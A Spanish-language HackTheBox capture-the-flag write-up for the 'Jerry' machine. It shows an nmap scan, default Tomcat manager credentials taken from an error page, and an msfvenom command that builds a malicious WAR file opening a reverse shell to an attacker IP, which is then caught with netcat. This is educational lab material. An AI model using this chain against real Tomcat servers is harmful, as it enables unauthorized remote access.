Máquina Jerry - HackTheBox (OSCP Style)
-
Información de la máquina
-
Verificamos que tengamos comunicación a la máquina por medio de una traza ICMP. Por el TTL deducimos que es una máquina Windows.
-
Iniciamos la fase de reconocimiento con un escaneo rápido con ayuda de nmap en busca de puertos TCP abiertos.
El único puerto que está abierto es el 8080, característico de Tomcat.
-
Si ejecutamos un escaneo en busca de servicios y versiones para los puertos encontrados con ayuda de nmap, veremos que efectivamente, se trata de un servidor Tomcat.
-
Fuzzeamos con el script http-enum de nmap en busca de directorios ocultos en el servidor web.
Encontramos los directorios típicos de un Tomcat, por lo que accedemos por medio de un navegador.
-
El directorio /manager/html es la ruta para acceder al panel de administración de Tomcat, pero este pide credenciales válidas para acceder a dicho panel.
Como no las tenemos, hacemos clic en Cancelar.
-
Esta última acción genera un error bastante curioso en el sistema, y es que nos muestra una página web donde se nos indica que no tenemos permiso para acceder al recurso solicitado. Pero a la vez, nos muestra las credenciales por defecto que tiene un Tomcat recién instalado:
Usuario: tomcat Password: s3cret
-
Si volvemos a acceder al recurso, proporcionando estas credenciales, veremos que somos capaces de acceder al panel de administración de Tomcat.
-
Para comprometer un Tomcat, debemos cargar en el sistema un archivo WAR malicioso que nos devuelva una reverse shell. Para crear este archivo, nos valemos de msfvenom:
msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o shell.war
Este archivo debe ser subido dentro de la sección “WAR file to deploy”
-
Una vez hagamos clic en Deploy, veremos el nuevo recurso desde el panel principal de Tomcat. Para entablarnos la reverse shell, solo debemos ponernos en escucha con netcat y hacer clic en el recurso.
Como podemos observar, hemos logrado obtener acceso al sistema, y no solo eso, sino que lo hemos hecho como el usuario administrador del sistema.
-
De hecho, si nos ponemos a enumerar un poco el sistema, veremos que es el único usuario disponible:
-
Dentro de su durectorio de trabajo, veremos una carpeta llamada flags, la cual en su interior contiene un archivo llamado “2 for the price of 1.txt”
-
Este último archivo contiene en su interior las dos flags, tanto la de user como la de root. ¡Vaya oferta! 2 flags por el precio de 1.